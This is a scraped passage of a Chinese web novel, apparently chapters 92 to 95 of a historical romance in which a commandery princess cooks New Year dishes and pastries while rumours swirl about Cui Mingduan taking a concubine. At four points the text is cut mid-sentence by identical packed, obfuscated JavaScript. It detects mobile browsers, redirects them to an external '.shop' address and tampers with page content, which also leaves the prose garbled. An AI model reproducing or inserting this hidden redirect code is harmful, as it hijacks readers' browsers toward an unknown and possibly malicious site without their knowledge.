礼尚往来，萧鸣笙也替他夹了假蛤蜊。 送鱼来的福公公，特意说这鳜鱼是新鲜的，用来做蛤蜊正正好。 可不是正好么？要不是她正好也会这道菜。 鳜鱼沿着鱼骨将鱼肉片下，去除鱼皮和鱼刺。将片下的鱼肉切成薄片，模仿蛤蜊的形状，加入少许盐、料酒、胡椒粉和葱姜水，抓匀腌制一刻钟，使鱼肉入味并去腥。 腌好后，轻轻拍上一层薄薄的面粉，增加鱼肉的嫩滑度和口感。 假蛤蜊外形要像，口味也是关键，还要虾汤。内侍省也让人省心，虾子也有。将虾头和虾壳洗净，放入锅中熬制成虾汤，加葱段、姜片去腥增香，待汤色变白且浓郁后过滤掉虾头和虾壳。 将腌制好的鱼肉片逐一放入沸水中汆烫，用笊篱轻轻拨动鱼肉片，防止粘连。待鱼肉片变色且微微卷曲时迅速捞出，沥干水分。 最后一步，将汆烫好的鱼肉片摆入盘中，浇上热腾腾的虾汤，撒上少许的葱花、香菜为点缀，俨然像极了蛤蜊肉。[1] 不过，阿草说了一句，“原来是用鱼肉来做蛤蜊肉……” 后面的话，让卢妈妈咳嗽着打断了。 眼下，崔大人瞧了半晌，萧鸣笙才想起：“忘了大人不吃香菜……” “臣并不挑嘴。” 在家，也吃过这道菜。他自幼在京城长大，对海货也不怎么上心。只是时人不常吃到，所以鳜鱼蛤蜊风靡一时，不单是宫廷世家，连家境富裕的百姓也要学这道菜，过过吃蛤蜊的嘴瘾。 他夹了一片入口，嫩滑爽口，口感似比蛤蜊更好，虾汤的味道也融合得巧妙。“甚是美味……” “大人爱吃，便多吃几个。” 剩下的虾子，还制成了椒盐大虾，金黄酥脆，好吃到让人吮手指。 阿藤随了崔大人，真把梅花坞当成了自家，跟着袁志碰杯后，再夹了个虾子，“这虾可真香，也不知小人是烧了几世的高香，才能吃着郡主做的饭菜。” “那可不是么？还用鸡蛋液炸的呢……” 阿草也赶忙夹了一个，本想给小草也夹一个，扭头才发现小草好像没跟过来。 而在上首位置坐着的耿姑娘，一听这些菜都是荣安郡主做的，更是惊讶。 即便她在吉安，也听过荣安郡主很得陛下圣心，怎么要亲手操持年夜饭呢？ 家中仆妇……也不多。 她在家偶尔也会下厨，不过都是由下人将琐事都操持好，过去调个味罢了。 * 年夜饭，阿藤也在崔家吃过的，虽然克制，但也吃撑了。 灶房的崔明端，自然也吃撑了。只是，他有橘子水。 不是上回用新鲜橘子烤出的果汁，是十月贡来的南丰蜜桔。 她用盐腌制后，泡在玻璃罐里。眼下取一个，加蜂蜜，再用温水化开，酸酸甜甜，既能助消化，又能治治某人隐隐的咳嗽声。 也不知是哪道菜不对，崔明端吃后，总时不时咳一声。 萧鸣笙也细细看过了，好像是五辛盘的缘故。五辛盘是由大蒜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408745|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、山葱、韭菜、芸薹、胡荽五种辛味蔬菜组成，寓意祛病健体。崔大人是清雅之人，只夹了一筷子芸薹。 “大人从前吃过芸薹么？”该不会是芸薹过敏吧？ 这过敏源，也太小众了。 崔明端约莫晓得是在家宴吃了几杯酒，又快马疾驰而来，吃的凉风。这会儿发散出来，不要紧。 “不是芸薹缘故，无事……咳……” “我就说吧……”萧鸣笙大抵也晓得了，就是他不戴帽子受凉了。她起身去找橘子，又把手炉给了他。 “我瞧卢妈妈过年缝了个新帽子，等会儿大人回去带着走吧……” 潦草吃了几个水煮的虾子，本是窝在他身上睡得正香，一咳一抖，便将它吵醒了。 “喵？”这是在做什么？ 崔明端含笑挠着它下巴，使得萧鸣笙警铃大作，“那大人总不能揣着小草回去吧？孩子还小，受凉了可怎么好？” “咳咳……”什么孩子？好好一狸奴，这样类比，崔明端咳得越发严重。 后背便被轻轻拍了拍，头顶还有说教的声，若不是带着几分的揶揄的笑—— “我便说了吧，戴帽子，自然是比玳瑁猫实在。” “……” 便是说他觊觎潦草，不是个实在人么？ 崔明端冤得很。可她的手掌轻一下重一下拍着，又教他甘之如饴。 “我瞧外头天色不早了，也不知城门是几时关的……” ——崔大人，你该走了。 崔明端好不容易才品出来的甜，尽化成了橘子残留的酸气。 “叨扰久了……咳……臣是该告辞了……咳……” 唔。他咳得可怜，面颊顺带着耳根，都红通通的，不免让萧鸣笙反省自己是不是坏人。可今日过年，他总不能不回去守岁。 崔明端不断摩挲着潦草的脑袋，也学着它厚颜一回，“潦草是郡主爱宠，臣不敢有觊觎之心，只是……能否斗胆同郡主讨个腌橘子吃？” “啊……好啊好啊……”只要不是猫，什么都是好商量的。 她找了家里多余的琉璃罐，装了八分满，又顺道将那个丑丑的毛毡帽戴在崔家六郎脑袋上。 亏得是他坐着，才让她有可乘之机。 “我这橘子，金贵着。大人可不要仗着量多就糟蹋自己的身子。” 一手按着他脑袋，一手将琉璃罐递过去。 玲珑剔透的罐子，里头装着黑乎乎的橘子。 正如自己——嘿嘿，我可真是个黑心的。 萧鸣笙自嘲罢，赶忙撤手去抱潦草。“那大人慢走，我就不送了。” “是……郡主留步。” 再不舍，崔明端也起身。只是走前，又同萧家借了马车，将人也带了回去。 临走前，耿姑娘还撩着帘子回望，山风呜呜，入夜后，梅花坞没多少灯火，像埋伏了一群野兽，盏盏灯笼更像是发红的兽目，令人心惊。 进城时，崔明端用了圣上御赐的金牌，说是接个人进内城住着。 城门校尉自然晓得轻重，闭紧了嘴。只撩了帘子查验一眼。 然而，这风，也不知怎么吹的，翌日荀二郎来拜年，搭了他肩膀耳语道：“崔兄好雅兴，纳妾也选在大年三十。也不提前知会一声，白让愚兄招了一顿打。” 93.桃花酥 说起这，崔明端也深感无力。他一言一行，一举一动，皆受世人瞩目。 “我与荀兄便不说见外的话。那位，是吉安府耿康太的女儿，她假借萧家表亲，前来投奔，恐生变故，也只能将人接回内城住着。” “这样有损你声誉的事，崔家自然不会做。听说今年陛下将贡茶全赏了你，我就晓得你这年是要过不安稳了。崔兄站的高，也要提防高处刮来的阴风才是。” 崔明端倒无谓什么清名，只是如今满城风雨，害怕流言到了她耳中。 人，是从萧家接的，她或是不会误信谣言才是。 * 崔家六郎纳妾的风，也吹到了梅花坞。 大年初一，柴氏带着对龙凤胎兄妹来给萧鸣笙拜年。 俩孩子模样酷似，但哥哥沉静，妹妹活泼。 梅花坞要比荀府好玩，两人便去院子玩，一会儿去墙角团雪球，一会儿要去练箭。 萧鸣笙比柴氏这当妈的还操心，“我那靶子都立在荷花池旁，路滑，还是别走近了。” “有仆妇们看着，郡主，妾身同你说个事……” 柴氏让左右伺候的人都退了，一脸痛心，“崔大人，已是京中世家子的清流。枉费前些日子我还说他与郡主勉强也配得上，大年三十便借着出城来给郡主拜年的机会，偷偷往私宅里藏了人，还是个年轻貌美的女子。哼……这些年，倒是借着等郡主出孝之事，攒了好大的声望呢……” “这……” 萧鸣笙也为难。倒不是因为崔大人纳妾，而是耿姑娘才来，便满城皆知。 “郡主也不必伤怀。哼，没了他崔家六郎，我们日子还不过了？这些年我也看荀二郎也烦着呢，要是郡主不嫌我……” “那我自然是能厚颜唤一声姐姐……” 萧鸣笙低估了平阳柴氏女的魄力，赶忙找了个由头，“上回小公子和小娘子没跟来，今日可好了，我与姐姐下厨做两道新鲜热乎的吃食可好？” 柴氏原是要一口应下，但也道：“今儿是大年初一，不好下厨吧？” “原是不好下厨的，可柴姐姐特意带 孩子们来给我拜年。我不能光坐着听孩子们的吉祥话，再一味拿那些生冷的糕饼来打发人吧？” 说罢，二人便手挽手来了灶房。 阿草负责揉面，柴氏心里对崔明端还是有刺，“郡主要是不嫌弃我这两个孩子吵闹，认一门干亲如何？左右我这做娘亲的脸皮厚，三两日总会过来一趟。郡主待我也赤诚，不如亲上加亲？” “女子十月怀胎本就辛苦，柴姐姐又怀的双生子，其中艰难，我不能分担一二，反倒是白捡了两个好孩子，只怕世人都要追着我骂呢……” 荣安郡主是陛下封的，身子不好也是明摆着的。柴氏原也没想那么深，只是想让平阳柴氏为她所倚仗，免得他们清河崔家为所欲为，全然不顾女子的颜面。 萧鸣笙知柴氏热心，不想思虑深远。经过这些日子，她也知萧家表面风光，实则举步为难，那两个孩子着实惹人怜爱，实在是不忍心将他们过早拉入权术的漩涡。 大过年的，她预备做的点心是桃花酥和豌豆糕。 桃花酥相对简单些，豌豆——眼下，名为胡豆。 “天恩浩荡，我这儿总是要一些早熟的菜蔬，胡豆，柴姐姐和孩子能吃么？” “能的，我来搭把手。” 柴氏今日过来，特意换了窄袖衣裙——万一郡主善心，要做东西给她吃呢？ 眼下，她痴痴笑了笑，“我从前在平阳，年纪最小，家中姊妹多，个个都让着我。姐姐们待嫁前，都由嬷嬷教习庖厨之事，谁也不敢带我，唯有在绣花时才在一处。我看，没了才是姐妹间相处的乐趣。” 荀二郎是个会吃的，柴氏小他几岁，性子活泼，自然也喜爱美食。 萧鸣笙也能瞧出，“那柴姐姐亲手制一份桃花酥回去，今春的花，约莫是要早早开了。” “郡主……”柴氏当即羞红了脸，揶揄道，“来日等郡主成婚，看还说这样的浑话不？” 来日之事，实在不可预测。 萧鸣笙将红曲粉拿出，用水兑了兑，颜色是秾艳的桃花粉。 柴氏不常下厨，却也看出这颜色重了些，不过忍着没说。 鲜艳些的桃花酥，那好看喷香的！荀二郎要敢嫌弃，便让他吃西北风去。 萧鸣笙瞧她出神，也道：“等下还要进炉子烤一烤，所以要调得稍稍浓一些，成品才会如三花桃红。” 油皮取适量面粉、水、猪油、糖粉，揉成水油状态，盖上棉布，醒面一炷香的时间；酥皮则是用另外一坛面粉和猪油，加入刚刚调和出来的粉色，揉合均匀，成团。 馅料用普通的红豆馅， 荀二郎和崔明端来时，两个孩子正在外头练箭。 年纪和绪安一样大，手上没多少力气。 即使是用了最小的那张弓，也不能射出去。 仆妇们个个担惊受怕，这对兄妹不说在荀府是金疙瘩，在平阳柴家也是心肝宝贝。这大过年要是伤了手，自己一年也没盼头了。 谁知，荀二郎看了却很高兴，上去就将妹妹抱了起来，“我们且看你兄长如何射箭，可不要伤了手。” “爹爹总是这样说。事事不让我做，你看娘亲她就不爱和你玩……” “咳咳……崔叔叔在呢，要不要崔叔叔抱？？ 这烫手的小棉袄，先丢给崔明端一会儿。 可他失算了，二人都是从忠勇侯府出来的，顺带将绪安也捎了出来。满京城里，谁能长在崔明端的臂弯上？ 绪安一昂首，可屁股下的手臂便抖一抖，“荀家妹妹，新春吉祥。” “新春吉祥。” 问安也问过了，崔明端的目光便一直在萧家的灶房。 熬了一宿，再大半日不见，这日子异常艰难——从前竟也没觉得。 “崔兄，我还没学过箭术，就不扰荀家妹妹雅兴了，我们给郡主问安吧。”绪安难得是做了一回好事。 崔兄深以为然。“那荀兄先在此处看着孩子。” “……好。” 萧家门口这口大池塘，确实够让人操心的。也不知柴氏在里头做什么好吃的，这样馋人？ 灶房里头，已过了最忙的阶段，油皮和酥皮包好，一个个小卷排得整整齐齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437001|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。再用食指中间压一下，然后两边往上翻，用手掌压平压圆，再度擀平。 好不容易用上红豆馅了，又须小心搓成了圆球。 “阿弥陀佛，光是擀平，就擀了三次……这桃花酥，换做我去市集卖，也要卖高价。” 柴氏玩笑道。尽管是正月，她也出了薄汗。 剩余的，说简单也简单，用锋利的小刀平均切出五个花瓣，留出中心花蕊的位置。 萧鸣笙弓着身子才要切第二个，崔明端已然走了过来。 怕惊了她，方才他已经在灶房门口请过安了，与绪安一阵眼神沟通，等她再切好第二个，崔明端才上前，“臣，给郡主请安。” “绪安给郡主拜年了，愿郡主平平安安。” “呀，你们怎么来了？” 萧鸣笙手一动，便将那一枚花瓣扎得深了，“这样悄没声的，白白让我切了片桃花出来。等会儿做好，要是缺了，也不知是谁的份？” “那便是我崔兄的。本公子贪嘴。” 绪安大大方方承认，虎头帽再一昂，就连儿女双全的柴氏也喜爱得紧。 “我手还没洗呢，倒不方便给小公子压岁钱。” “还说呢，嫂嫂今年都没来我家拜年，问了荀大人才知来了郡主这儿。若是换了别人，我定是要多心的！” “好个伶牙俐齿的小童，若不然也净了手，来和我们同做一道桃花酥？”萧鸣笙打趣道。 于是乎，荀家双胞胎也被招呼着进来了。 崔明端也不知是几时净的手，这会儿就学着她的模样，预备给剩余的面团都切上花刀。 柴氏领着绪安出去，正好碰上了呲着牙乐的荀二郎，“你们怎么来了？” “夫人……领了孩子们给郡主请安，咱家不能出一个不守礼的人吧？” “啧……” 柴氏倒也不是嫌弃他来——也是。只是，为什么崔六郎也跟过来了？ 现在，她看到儿郎都烦。 而跟前的小小儿郎，如自家儿子，如侯府小公子，甜言蜜语讨人欢心，却不知为何大了，就惹人烦了呢？ 荀二郎偏还拉着她在外头多呆了片刻，给挚友争个一时半刻。 里头，二人处得相安无事。 “崔大人怎会做这个？”萧鸣笙瞧他落刀的深度正好，也好奇。 “是臣偷师而来。” 他也怕坏了这些好不容易揉好的面团，“既然师傅满意，那便由臣将余下也刻上，请郡主坐一会儿。” “还没到坐的时候呢……” 在某人过于义正词严的目光下，萧鸣笙还是在矮凳上坐了下来，不过手没闲着，在每个扇形的尖尖那儿捏出褶皱，再同他道，“刀在大人手里，劳烦大人也在中心处轻轻割出几道痕，刻出花蕊的模样。” 崔明端擅丹青，一点即通。二人这样亲密无间合作，十几个无心桃花酥便好了。 这可苦了外头的人。柴氏是第一个想进来的，“哼，我与郡主辛辛苦苦做的点心，倒全是为他人做嫁衣了。” “嫂嫂做的嫁衣，本公子也想进去分几块。”绪安又晃着他的虎头帽口不择言。 94.豌豆糕 磨蹭久了，便刻意了。 荀二郎深知过犹不及的道理，又摆上一张大笑脸进去。 得亏是袁志做了不少毛刷给阿草玩。这小帮手一多，毛刷都险些不够用。 蘸上蛋黄，刷在中心处。 柴氏辛苦做的，生怕孩子们坏事，可四岁的小童，已经在家学开了蒙，每日在家也是要临上几张大字。 这刷子，小是小了些，当笔使去沾蛋黄点上去，三人都玩得不亦乐乎。 荀二郎便做了最后收尾工作，将混合在一起的黑白芝麻撒在上头。 如此，一朵朵形神兼备的桃花便开在萧家案头。 “世人爱风雅，我也不能免俗，今日这么一折腾，我倒宁愿做个大俗人。”柴氏如是道，衣钗不乱，然而手腕微发酸。 荀二郎也不避讳人，掏了帕子就给她擦汗，“郡主慷慨，这样细巧的方子都展露人前，不然，夫人教了我，我来做给——大家吃。风雅之事，无人共赏，可怎么好？” “哼……” 柴氏要脸面，揪了他的帕子，回敬道，“要是别的点心，我也愿意教。可这桃花勾人呐，让你们儿郎都学了去，桃花酥变成桃花债，那还得了？” 荀二郎就知道他娶了个大醋坛子，更是笑道：“我这人，最不喜欢欠债了。定然无事。崔兄家大业大，想来也不会欠下什么。” 崔明端自然能听出柴氏是在说城里谣言，也知她们感情好，想来是都说了，不免有些慌乱，余光瞥了又瞥。 “呀，我这桃花酥还没出锅呢，怎就论起债了呢？诸位不能是没预备给我家潦草压岁钱吧，这大年初一，可不兴欠啊。“ 这话题，便这样揭了过去。 萧鸣笙也感动柴氏的维护之心，又挽了她去做另外一道点心，“姐姐府里人都能吃胡豆，这道胡豆糕颜色翠绿，也比绿豆更温和些，年节大鱼大肉，这糕点也能调节脾胃，我再做一道送给柴姐姐。” 胡豆焯水煮熟后，由袁志将之打成细细的豆泥，加入糖和提炼出的黄油，小火慢慢将水分炒干。 这过程，极其讲究耐心。火大了，胡豆便成了糊豆，颜色也会发黄，失了这道点心的精髓。 萧鸣笙另起一锅烧了热油，将模具内都刷上油，取适量小豆团放入模具，慢慢压，脱模出来，就是一个翠绿的胡豆糕，颜色比绿豆更鲜亮，在冬日里，更是养眼。 这做法，比方才刷蛋黄还有趣。 几个小不点自发去洗手，再眼巴巴来到萧鸣笙面前，“郡主……可有我们能分担的？” 若是再将目光收一收，就更像了。 “我这儿只有两个模具，排着队来可好？” 虽说压模脱模，就是不断重复的机械动作。但点心最后要由客人带走，萧鸣笙还是自己做了一部分。 剩下，就给三个小朋友自由发挥了。 按着身份，绪安是第一个做成的，不过他贪心，放的豆泥多了，有些不太好脱模。 崔明端帮着敲了敲，出来也是歪了肚。原是刻的五瓣梅花，胡豆翠绿，远远瞧着，竟有绿梅清韵。 绪安不随他崔兄，能赏什么梅，对着这块亲手压出来的胡豆糕，啊呜就是一口。 “慢些吃，可不要噎着了。” 那桃花酥需要烤一炷香的时间，胡豆糕便先入了口。 秋播豌豆，原是在春日成熟。但这道清新的糕饼，再由自己的小胖手压出来，三人吃得比谁都香。 “好吃，崔兄，待我压一个给你。” “娘亲，你也吃一口……” “诶……爹爹……” 原本只绪安一人，便足够手忙脚乱了，再添了双生子，萧鸣笙瞧他们吃得香，也怕噎到了，撑着了。从架子上取了腌制的南丰蜜桔，化开了，一人分一小碗。 桃花酥与胡豆糕，皆是风雅之物。胡豆糕简单清新，如嚼春色，满口都是早春的气息。 而桃花酥，烤制后颜色果真是淡了些，像极了三月桃花，香气更浓。 一人分了一个在碟子里放凉。 柴氏笑道：“桃花粉嫩，胡豆翠丽，回去我雕几个花模，像是牡丹、芍药、菊花、海棠……李义山一句‘绿肥红瘦’写尽暮春景色，要是这红的换成绿，也不知能引来什么佳句呢。” “作诗，那是指望不了我的。”萧鸣笙也跟着打趣。 这苦差事，若有，自然落到探花郎身上。 崔明端没推辞，他倒盼着下一次迎春赏花。 从梅花坞带回的糕点，自是有一份送到了宫里。 “荣安心思巧，爱卿也有心了。” 皇帝留了他坐，宫里的梅花尚在花期，剪了几枝供在白瓷里，红梅白雪的意境便也出了。 “听说爱卿纳了妾？” “微臣尚未迎娶郡主，万万不敢犯下如此大错，还请陛下明鉴。” 市井传言，于世家而言，是最不要紧的。 皇帝也听着了，自然是因为传谣的，想传到天子耳中。 “朕自然相信爱卿。不知爱卿可着急成婚了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450368|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此问，答是或不是，皆不是最佳。 崔明端陈情道：“家父得陛下器重，重返官场，回家后特意开了库房清点物件，原先预备的东西，放久了，难免沾了尘，或是旧了，早不是时兴样式，特意嘱咐臣重新筛选一番。若东西是好的，晒晒日头，去去尘也就罢了。那物件要是不好，再另外置办，便是家里节省些，也不敢辜负了先皇与陛下的心意。” 这样圆滑的说辞，也不知是如何传到了绪安耳中。 年初五，绪安和绪宁，还有范文卓和钱知礼都来了。 各家都备了礼，三人更是从自己的私房往里添了添。 “今日是好日子，特意请了小公子来打头阵呢。”范文卓先是寒暄道。 绪安年幼，总是一身红色衣裳，花样不重样，但小团子笑一笑，就连神仙也得停下给份压岁钱。 除了新岁要跟郡主一道行商，这一次过来，范文卓尚且有个要紧事。 “家父说，我年岁也大了，如我这般，崔大人都从翰林院到眉州任职了……” 萧鸣笙含笑听着：京城的世家子，日子不好过。特别是有个别人家的孩子在眼前。 “所以我爹打算让我也出去游历一番。” “啊？范兄，这样要紧的事，怎么也没说？” 钱知礼和绪宁也是刚刚知晓。 “嘿嘿，我爹说读万卷书，行万里路。” 后面跟着一句要紧的：就是书没读几本，这路，总也要去走的。你爹年纪也大了，范家来日还是要看你。 这后面还有一句：你整日在京中胡闹，我也不说什么了。这一回出去，但盼你改过自新，有所思有所得。 言外之意，便是将范文卓“流放”出去。 含着金汤勺的人，没哭没闹，反而是笑呵呵应下。都说穷家富路，他游历，家里总是要给钱的。有了钱，那能做的事，可就多了。 “我打算出去各地看看，能不能将我们这脆皮烤肠的铺子开满九州。” 萧鸣笙勉励一番，又暗暗替范家长辈叹息：孩子悟了，不过好像悟道偏了。 而被流放的，不止范文卓，连年纪最小的钱知礼，也要送往外祖家。 若非忠勇侯怕天子疑心，他也有心将绪宁放到军中历练一番。但想了想，还是决定将孩子留在身边吧。 这傻儿子的造化，且走且看吧。 如此，去岁轰轰烈烈的行商三人组，便剩下绪宁一人了。除了每日送绪安进宫陪二皇子上课，他便出城来，帮着盯盯茶楼的进度。 95.鸡蛋饼 崔明端心宽，晓得父亲看重她，自然是喜不自胜。 父亲绘制了茶楼图纸，他能做的，便是在用料上把关，预备再带几个老师傅过去。 朝廷是元宵后才开印上值，从工部调来的林大人便毛遂自荐了。“下官有幸看过崔三爷的图纸，可惜当年在工部人微言轻，也不能做什么，造成今日憾事。这一回，但请大人给下官个机会。” 林宗平，祖上还参与式过宫苑的修建，除了工部的记档，林家先祖都能将图纸一一画出来。 如此，萧家茶楼赶在了元宵前，便落地建成了。 这日，也巧了。 潦草一个劲往鸡棚那儿去，卢妈妈不放心，算算日子，小鸡也该破壳了。 萧鸣笙赶到时，从母鸡屁股底下钻出一只淡黄的小鸡仔，站起来时脚还有些软，唧唧唧唧叫唤着。 “喵……” 潦草显然比他们更开怀。 “呀……”萧鸣笙赶忙将它抱在怀里，“原先预备往后山放养走地鸡时，你还没来家里呢……这是能生蛋也能吃肉的鸡，你可不能啊呜一口吞了。好猫猫，是能捕鼠的，偷鸡的，那是黄鼠狼，咱做好猫猫可好？” 萧鸣笙抱着它往回走，让阿草拿一些木头，将木棚再加固一下。 现成的偷鸡贼，得防着呐！ 绪安正跟了崔明端过来，也好奇要去看那小鸡仔。 回来时，手里还抱着一只。 卢妈妈素来慈爱，看忠勇侯府与萧家常来常往，自然对绪安倍加宠爱。 “郡主郡主，这只，我带回家养……” 话没完，崔明端先是拍了拍老虎的眼珠子。 “小公子日日要进宫去，莫不是要侯爷抱病养着？” “啊？这鸡崽那般娇气呢，还学本公子要人抱着养？” “……” 崔明端这严师，也有未奏效的一天。 萧鸣笙笑了笑，轻声哄道：“小公子别看它软乎乎，惹人怜爱，等会儿拉臭臭，可是要换衣的……” 不说则罢，一说那小黄鸡似有发动的趋势，屁股一缩一缩的，吓得绪安赶忙是丢了，幸亏崔大人眼疾手快接住。 “额……崔兄……夫子，绪安不是有意的……” 说完，还一个劲往崔明端手上瞧：是不是真的拉了粑粑。 崔明端生生是要教这孩子气笑了。小鸡仔才破壳，腹内空空。 阿藤也赶忙接了，放回母鸡身边养着。 “不然小公子养个鸡蛋吧。”崔明端如是道。 “崔兄你就爱哄我，鸡蛋怎么养？” 萧鸣笙却是对崔大人另起一份心思：她没听过养鸡蛋，倒是知道一个画鸡蛋的。崔大人确定是土著吧？ “鸡蛋易碎，能养性。若是腻了，还可交由厨子做成美食，你也爱吃的，可喜欢？” “哼……郡主，你管管我崔兄，他老爱逗我玩呢……” 小团子没了小鸡仔玩，只能缠着人了。 “净手。”严师崔明端再度将人拦腰抱着，带走了。 “呜……郡主，你看看我崔兄……” 即便是被捞走了，绪安也趴在崔明端肩头上不安分。 “看着呢……”萧鸣笙抱着潦草在后面，崔大人行走如风，没几步便将她落下了，走到门槛处，尚且回头叮嘱道，“外头风大，郡主且留……” 谁知她追得急，险些一头扎他怀里。 “灶房有热水……我也给你们做点东西吃，鸡蛋饼，可喜欢？” 你们。 光是这一词，崔明端的唇角便翘起。不单是哄绪安的，也是哄他的。 “臣不挑。” 末了，偏要加上一句，“若是小公子不吃，臣自会代劳。” “哼……我郡主姐姐做的，都是佳肴美馔，本公子肚里能放一座山呢……” “好……” 也得了人哄的崔明端，自是好性捧场，带着人去净手。 今日绪安过来，也送了一筐鸡蛋。“听说郡主家用了很多蛋在孵小鸡，怕是没多少蛋吃。” “那我便不同小公子客气。我往鸡蛋饼里多放些香肠可好？” “好呀好呀……” 绪安说完，还要嘀咕道，“我崔兄那份，能少放点吗？” “好。我给他放胡萝卜，瞧着也是红的肉，实际是素的。” “嗯嗯，郡主你最好了。” “……” 鞍前马后给他净手的人，反而成了坏人 。 萧鸣笙取两个大海碗，各往里头打入两个鸡蛋，加两大勺面粉，葱花、火腿丁各一小把，少量盐，适量清水。 “俗话说，授人以鱼不如授人以渔。上回的胡豆糕可好吃？我再教小公子摊鸡蛋 饼可好？“ “好啊……” 说起这个，绪安可就来了精神。“那日，我带了桃花酥和胡豆糕回去，我爹爹是个糙人，没吃明白。但是在年初二用来待客，那些亲戚一个个追着要那桃花酥是从何处买的呢……唉，连他们都知道我家厨子做不来这样精细的吃食。” 这话，也不知是不是说者无心，反正萧鸣笙和崔明端是听者有意。 侯爷这样谨慎，于这孩子而言，可真是好事。 “若是需要，你家下回招待客人，再来我这里拿一些。” “那……柴嫂嫂都说这桃花酥费功夫，什么了不得的客人，还想吃我郡主姐姐的桃花酥，没让他们吃西北风就不错了。可不要惯坏客人了。” “噗……” 萧鸣笙颇是无奈看了眼崔大人，谁知他亦是隐忍笑了笑。 二人目光相对，徒让小团子觉着自个儿十分多余。 他故作老成咳嗽一声，萧鸣笙恍然，给他拿了双筷子，“筷子朝一个方向搅拌均匀，搅拌到没有面疙瘩。” 她先示范搅了搅，又道：“可以多搅拌一会儿，面糊稀一点饼就薄一点，也比较容易摊开。” 今日这鸡蛋饼，要省事不少，但这搅拌的活，崔明端也接了过去。 一大一小，便在木桌旁搅着。 绪安不服输，手上一使劲，面点都要飞溅起来。 “方才我说养鸡蛋，能养性，你觉着我在诓你。郡主教你做鸡蛋饼，亦是能养性，你细想，可是如此？” 崔明端的手，是又快又稳。 团子看了好不羡慕，小胖手不一会儿便酸了累了。往日，他定是要喊苦的。“崔兄，养性，能做什么？” “……能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465286|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你谨言慎行。” “可古语还说童言无忌呢……我不是一个四岁小童吗？” “……” 伴着笑谈，面糊总算是搅拌好了。 阿草将火生了起来，萧鸣笙在锅中倒一层薄薄的油，开小火，倒入金黄的面糊，旋转着晃动锅底，把面糊摊开，摊均匀。 小火煎到微黄，翻面再煎，表面微黄即可出锅。 才刚出锅，小团子便吸溜了一下口水，“郡主，这鸡蛋饼好吃。” “小公子还没吃呢，就这样好吃？那我们把饼子给崔大人吃？” 萧鸣笙也有意逗一逗他，“还烫，小心些。” 饼放在碟子上放凉，最后这句话，更像是叮嘱带娃的崔大人。 他莫名红了耳根，应了一声。 这一回，可巧，萧鸣笙看到了，也纳闷：崔大人这是在脸红什么？ 锅热不等人，她没细究，赶忙回去，再倒些油，依次将鸡蛋饼摊了出来。 阿草也有一份，拿了就去外头寻袁志一道分享。 萧鸣笙也坐下，手边已有一双筷子递过来。 鸡蛋饼金黄，有葱花的绿，香肠的红——崔家六郎再添一抹红云。萧鸣笙莫名开胃，跟着吃了一整张。 新鲜出锅的鸡蛋饼软软的，甜口的香肠滋味甚好。 绪安也吃了一张，一抬手还要拿，崔明端便咳嗽一声。 “本公子又没吃崔兄你的胡萝卜。” “你可忘了今日来意？” “啊？今日不是来送鸡蛋的吗？” 绪安再机灵，被鸡蛋饼香迷糊了，全然忘了今日是来送请帖的。 正月二十三，是他这个小谷的生辰。 忠勇侯家两位公子的生辰挨得近，今年绪宁行冠礼，侯爷想低调些，反而是刻意了。 不过，绪宁的生辰，是不方便请她。 大的行冠礼，自然是要热热闹闹的。小团子的生辰，侯府便不打算请人了。 但是小团子撒泼滚打，就是要请，至少崔兄是要请的吧；爹爹你才吃了郡主的桃花酥，我生辰怎么能不请？ “哼，我爹爹还说郡主要养病，可我看，人要是日日拘在府里，才要生病。我家里也养了马，郡主赏脸来一趟可好？我把我喜欢的那马儿送给郡主……” 萧鸣笙本是觉着，她上门去，合适么？ 但是，最讲究礼法的崔大人都同意了，想来是可的。 但是，说起出门，萧鸣笙便想到了自己晕车啊！谁家好人晕马车的？ 她面有难色，小团子便滔滔不绝，扮起可怜，“我听叔父说，郡主这病，不能光要药治，还得养养心。我看，出门散心，就很好……崔兄，你说是不是？” 眼眸含泪，好不可怜。 